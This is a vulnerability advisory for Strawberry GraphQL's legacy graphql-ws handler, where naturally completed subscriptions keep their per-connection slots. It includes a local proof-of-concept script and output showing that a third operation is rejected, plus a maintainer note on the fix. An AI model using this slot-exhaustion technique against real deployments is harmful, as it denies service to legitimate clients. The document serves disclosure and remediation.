Strawberry legacy graphql-ws retains naturally completed subscription slots

async def cleanup_operation(self, operation_id: str) -> None:
    if operation_id in self.subscriptions:
        await self.subscriptions[operation_id].aclose()
        del self.subscriptions[operation_id]

    self.tasks[operation_id].cancel()
    await self.tasks[operation_id]
    del self.tasks[operation_id]

Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.

The connection-slot impact requires both parts of the behavior:

1. the natural-completion path leaves the completed operation accounted for; and
2. the legacy handler has max_subscriptions_per_connection enabled.

PoC

The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.

1. Environment installation

Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:

python -m pip install "strawberry-graphql[channels]==0.324.4" daphne

For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.

Record the actual versions before testing:

python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"

2. Save the bounded test

Save the following as poc.py:

import asyncio

from django.conf import settings

if not settings.configured:
    settings.configure(
        SECRET_KEY="local-validation-only",
        CHANNEL_LAYERS={
            "default": {
                "BACKEND": "channels.layers.InMemoryChannelLayer",
            }
        },
    )

import strawberry
from channels.testing import WebsocketCommunicator

from strawberry.channels.handlers.ws_handler import GraphQLWSConsumer
from strawberry.schema import Schema
from strawberry.subscriptions import GRAPHQL_WS_PROTOCOL


@strawberry.type
class Query:
    @strawberry.field
    def ping(self) -> str:
        return "pong"


@strawberry.type
class Subscription:
    @strawberry.subscription
    async def one_shot(self) -> str:
        yield "marker"


schema = Schema(query=Query, subscription=Subscription)

application = GraphQLWSConsumer.as_asgi(
    schema=schema,
    subscription_protocols=(GRAPHQL_WS_PROTOCOL,),
    max_subscriptions_per_connection=2,
)


async def receive_until_complete(communicator, operation_id):
    messages = []
    for _ in range(3):
        message = await asyncio.wait_for(
            communicator.receive_json_from(), timeout=2
        )
        messages.append(message)
        if (
            message.get("type") == "complete"
            and message.get("id") == operation_id
        ):
            return messages
    raise AssertionError(
        f"no complete message for {operation_id}: {messages}"
    )


async def main() -> None:
    communicator = WebsocketCommunicator(
        application,
        "/graphql",
        subprotocols=[GRAPHQL_WS_PROTOCOL],
    )
    connected, accepted_protocol = await communicator.connect()
    assert connected
    assert accepted_protocol == GRAPHQL_WS_PROTOCOL

    try:
        await communicator.send_json_to({"type": "connection_init"})
        ack = await communicator.receive_json_from()
        assert ack["type"] == "connection_ack"

        query = "subscription { oneShot }"

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "one",
                "payload": {"query": query},
            }
        )
        first_messages = await receive_until_complete(
            communicator, "one"
        )

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "two",
                "payload": {"query": query},
            }
        )
        second_messages = await receive_until_complete(
            communicator, "two"
        )

        # Allow completed handler tasks to finish their sends before the
        # third operation is started.
        await asyncio.sleep(0)

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "three",
                "payload": {"query": query},
            }
        )
        third_message = await asyncio.wait_for(
            communicator.receive_json_from(), timeout=2
        )

        print(
            {
                "first": first_messages,
                "second": second_messages,
                "third": third_message,
            }
        )
    finally:
        await communicator.disconnect()


asyncio.run(main())

3. Run

python poc.py

4. Expected results

A fixed implementation should send data and complete for both one and two, then permit three to start and complete.

The behavior is:

{
  'first': [
    {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}},
    {'type': 'complete', 'id': 'one'}
  ],
  'second': [
    {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}},
    {'type': 'complete', 'id': 'two'}
  ],
  'third': {
    'type': 'error',
    'id': 'three',
    'payload': {'message': 'Subscription limit reached'}
  }
}

The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.

Impact

When the legacy graphql-ws protocol and max_subscriptions_per_connection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.

The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.

Exposure depends on:

• the application explicitly enabling the legacy graphql-ws protocol;
• the application configuring max_subscriptions_per_connection;
• clients being able to maintain a persistent WebSocket connection;
• the resolver exposing a finite operation that naturally completes;
• the absence of effective connection lifetime, connection-count, authorization, or rate limits.

This report does not claim impact on the modern graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.

Maintainer note

Confirmed and reproduced against 0.327.0. The max_subscriptions_per_connection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.

Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.